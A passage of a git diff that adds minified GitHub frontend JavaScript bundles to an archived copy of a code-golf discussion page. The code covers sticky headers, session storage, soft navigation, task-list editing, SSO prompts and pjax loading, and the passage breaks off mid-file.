v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await 